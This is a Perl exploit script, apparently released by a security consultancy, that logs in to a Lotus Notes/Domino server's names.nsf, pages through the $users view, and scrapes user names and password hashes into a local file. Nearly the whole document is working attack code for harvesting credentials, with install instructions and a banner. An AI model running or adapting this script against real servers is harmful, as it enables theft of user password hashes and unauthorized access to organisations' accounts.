#! /usr/bin/perl -w # # Script made by Adrian Puente for Sm4rt Security Services # shouts to: adrian _at_ sm4rt _dot_ com # and apuente _at_ hackarandas _dot_ com # # It attacks a Lotus Notes vulnerability and downloads the NFS # files with the users and hashes. # # Requires LWP::UserAgent, HTMLStrip, HTTP::Cookies amd HTML::Parser. Install them with. # perl -MCPAN -e 'install HTTP::Cookies' # perl -MCPAN -e 'install HTML::Parser' # perl -MCPAN -e 'install LWP::UserAgent' # perl -MCPAN -e 'install HTML::Strip' package HTMLStrip; use strict; use LWP::UserAgent; use HTTP::Cookies; use base "HTML::Parser"; my $url = 'http://IP'; my $user = 'user'; my $password = 'password'; my $pagini = 580; my $pagfin = 700; sub text { my ($self, $text) = @_; open(ARCH, ">> password.list.txt") or die "Cannot open the file\n"; print ARCH $text; close (ARCH); } sub Parsea { #Creamos 2 banderas, una para saber que estamos copiando una tabla #otra para recorrer el arreglos de tablas my $TABLA=0; my $CONT=0; my @tablas; $tablas[0]=""; #Separamos las tablas del código HTML foreach my $line (@_) { #Buscamos el inicio de la tabla y de encontrarlo habilitamos la #bandera para copiar el contenido de la tabla if ($line =~ m/table/i) { #print "inicio\n"; $TABLA=1; } #Buscamos el final de la tabla y de encontrarlo deshabilitamos la #bandera para dejar de copiar el contenido de la tabla if ($line =~ m/\/\s*table/i) { #print "fin\n"; $tablas[$CONT] = $tablas[$CONT].$line; $TABLA=0; $CONT++; $tablas[$CONT]=""; } #Si la bandera esta habilitada concatenamos el contenido #de la tabla a una cadena. if ( $TABLA ) { #print "Tabla\n"; $tablas[$CONT] = $tablas[$CONT].$line; } } print "Number of tables found: $#tablas\n"; #Para debugeo #open(ARCH, "> arch.txt"); #for (my $i=0; $i<$#tablas ; $i++) #{ # print ARCH "-------------[ $i ]------------"; # print ARCH $tablas[$i]; #} #close (ARCH); #Separamos las tabla que nos interesa en un arreglo de lineas my @lineas = split(/<\s*tr\s*\S*>/i, $tablas[4]); #Para debugeo #for ( $i=0 ; $i<$#lineas ; $i++ ) #{ # print "Linea $i, dato $lineas[$i]\n"; #} #Para debugeo #separamos la linea que nos interesa en otro arreglo de celdas #my @celdas = split(/<\s*td\s*\S*>/i, $lineas[3]); #for ( $i=0 ; $i<$#celdas ; $i++ ) #{ # print "Celda $i, dato $celdas[$i]\n"; #} my $p = new HTMLStrip; #Recorremos cada Linea sacando las celdas que nos interesan print "Number of lines processed: $#lineas\n"; for ( my $w=2 ; $w < $#lineas ; $w++ ) { my @celdas = split( /<\s*td\s*\S*>/i , $lineas[$w]); my $salida=$celdas[2].":".$celdas[15].":".$celdas[17]."\n"; $p->parse($salida); } } print "###################################\n"; print "## ##\n"; print "## NSF WebCrawler by Chocobo ##\n"; print "## - Sm4rt Security Services - ##\n"; print "## ##\n"; print "###################################\n\n"; # Create a user agent object my $ua = LWP::UserAgent->new(requests_redirectable => ['GET', 'HEAD', 'POST']); $ua->agent("Mozilla/5.0 (X11; U; Linux i686; rv:1.8) Gecko/20060219 Firefox/1.5"); $ua->cookie_jar(HTTP::Cookies->new(file => "lotus.crawler.txt",autosave => 1)); my $res = $ua->post( $url."/names.nsf?Login", ['%%ModDate' => '007D306464626439', Username => $user, Password => $password , RedirectTo => '/'] ); for ( my $i = $pagini ; $i <= $pagfin ; $i++ ) { print "----------[Page $i]----------\n"; print "Downloading "; $res = $ua->get ( $url."/names.nsf/\$users?OpenView&Start=".$i ); print "DONE status : ".$res->status_line."\n"; print "Parsing file.\n"; Parsea( split (/\n/, $res->content) ); } print "-------------------------------\n";